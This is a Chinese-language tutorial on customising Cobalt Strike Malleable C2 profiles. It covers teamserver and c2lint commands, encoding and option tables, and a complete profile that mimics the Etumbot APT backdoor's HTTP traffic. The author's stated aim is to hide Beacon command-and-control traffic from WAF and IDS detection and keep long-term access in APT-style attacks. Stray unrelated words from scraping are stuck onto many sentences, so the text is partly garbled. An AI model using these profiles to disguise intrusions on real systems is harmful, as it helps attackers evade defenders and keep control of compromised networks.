在線視頻地址html
Beacon是Cobalt Strike爲高級攻擊者建模的Payload。使用Beacon經過HTTP,HTTPS或DNS出口網絡。並且Beacon很是靈活,支持異步和交互式通訊。異步通訊既低又慢。Beacon將通信本地,下載任務,而後進入睡眠狀態。交互式通訊實時發生。ios
cobalt Strike 的Beacon(信標)的一些Http特徵信息能夠由C2配置文件進行修改和定製化,因此可定製的C2配置文件能夠指定服務端如何發送,接受數據的規律和格式,防止被WAF,IDS對流量進行識別致使被發現。git
能夠在啓動cs服務端的時候,指定一個配置文件進行加載github
./teamserver [external IP] [password] [/path/to/my.profile]
小程序
cobalt Strike提供了一個小程序C2lint,用來檢查你編寫的配置文件是不是可用的,是否有錯誤,這個程序會檢查你的語法是否正確,而且會生成一個簡單的交互過程讓你預覽,cobalt Strike強烈推薦你在正式使用以前用這個小程序來檢查一下。promise
./c2lint [/path/to/my.profile]
服務器
編寫一個配置文件最好的方式就是根據現有的配置文件進行修改,如今提供一個github上面的C2-Profiles例子:網絡
https://github.com/rsmudge/Malleable-C2-Profilessession
能夠看到配置文件大概長這樣:app
set global_option "value"; protocol-transaction { set local_option "value"; client { # customize client indicators } server { # customize server indicators } }
全部的配置信息都是寫在{}
大括號裏面。
例如:
http-get { set uri "/fengxuan"; client { metadata { base64; prepend "user="; header "Cookie"; } } }
這個配置定義了在HTTP協議中Get請求的傳輸,第一句set uri
, 表示,在當請求/fengxuan
這個URL的時候,會執行如下的配置。
那麼整段配置是什麼意思呢?
就是在請求/fengxuan
這個地址的時候,http header中的 user字段裏面的內容會進行base64加密而後再進行傳輸,從這個地址接受的返回包,http header中的 user字段會進行base64解密。
Statement | Action | Inverse |
---|---|---|
append "string" | 追加"string"參數 | 去除strings參數的字符串 |
base64 | Base64 編碼 | Base64 解碼 |
base64url | 對url進行Base64 編碼 | 對url進行Base64 解碼 |
mask | XOR mask w/ random key | XOR mask w/ same random key |
netbios | NetBIOS 編碼 | NetBIOS 解碼 |
netbiosu | NetBIOS 編碼(大寫) | NetBIOS 解碼(大寫) |
prepend "string" | 添加"string"參數 | 去除strings參數的字符串 |
Statement | What |
---|---|
header "header" | 把編碼事後的參數做用於header中 |
parameter "key" | 把編碼事後的參數做用於URL參數中 |
把編碼事後的參數做用於POST方式中的body中 | |
uri-append | 將編碼事後的參數追加到URL中 |
Option | Context | Default Value | Changes |
---|---|---|---|
data_jitter | 0 | 向http get和http post服務器輸出中附加隨機長度字符串(取決於data_jitter的值)。 | |
dns_idle | 0.0.0.0 | 用於採用DNS信標時的ip地址 | |
dns_max_txt | 252 | 最大的 DNS TXT 返回的長度 | |
dns_sleep | 0 | 在每一個dns請求以前的休眠時間. (毫秒值) | |
dns_stager_prepend | Prepend text to payload stage delivered to DNS TXT record stager | ||
dns_stager_subhost | .stage.123456. | DNS TXT記錄階段使用的子域名。 | |
dns_ttl | 1 | DNS的TTL值 | |
headers_remove | 在客戶端請求中去掉的header值 | ||
host_stage | true | Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers. | |
jitter | 0 | 默認增長的隨機值的比例(0-99%) | |
maxdns | 255 | 上傳數據時最大的DNS主機名 | |
pipename | msagent_## | 使用SMB信標時點對點的名稱 | |
pipename_stager | status_## | Name of pipe to use for SMB Beacon's named pipe stager. Each # is replaced with a random hex value. | |
sample_name | My Profile | The name of this profile (used in the Indicators of Compromise report) | |
sleeptime | 60000 | 默認休眠時間(毫秒值) | |
smb_frame_header | Prepend header to SMB Beacon messages | ||
ssh_banner | Cobalt Strike 4.2 | SSH client banner | |
ssh_pipename | postex_ssh_#### | Name of pipe for SSH sessions. Each # is replaced with a random hex value. | |
tcp_frame_header | Prepend header to TCP Beacon messages | ||
tcp_port | 4444 | TCP Beacon listen port | |
uri | http-get, http-post | [required option] | 交互時候的URI地址 |
uri_x86 | http-stager | x86 payload stage URI | |
uri_x64 | http-stager | x64 payload stage URI | |
useragent | Internet Explorer (Random) | 默認的User-Agent | |
verb | http-get, http-post | GET, POST | 傳輸的請求協議 |
# # Etumbot Profile # http://www.arbornetworks.com/asert/2014/06/illuminating-the-etumbot-apt-backdoor/ # # Author: @harmj0y # set sample_name "Etumbot"; set sleeptime "5000"; set jitter "0"; set maxdns "255"; set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)"; http-get { set uri "/image/"; client { header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8"; header "Referer" "http://www.google.com"; header "Pragma" "no-cache"; header "Cache-Control" "no-cache"; metadata { netbios; append "-.jpg"; uri-append; } } server { header "Content-Type" "img/jpg"; header "Server" "Microsoft-IIS/6.0"; header "X-Powered-By" "ASP.NET"; output { base64; print; } } } http-post { set uri "/history/"; client { header "Content-Type" "application/octet-stream"; header "Referer" "http://www.google.com"; header "Pragma" "no-cache"; header "Cache-Control" "no-cache"; id { netbiosu; append ".asp"; uri-append; } output { base64; print; } } server { header "Content-Type" "img/jpg"; header "Server" "Microsoft-IIS/6.0"; header "X-Powered-By" "ASP.NET"; output { base64; print; } } }
這個過程能夠檢查而且預覽交互過程
注意:有些警告,這個警告有時候會影響運行,不過大多數都不會。
啓動服務而且加載咱們的配置文件
獲取權限
cobalt strike 的配置文件能夠進行高級定製化的攻擊,有效防止WAF,和IDS的追查。能夠達到長期的維持訪問,在APT攻擊中仍是比較重要的。
若是圖文看不懂能夠看視頻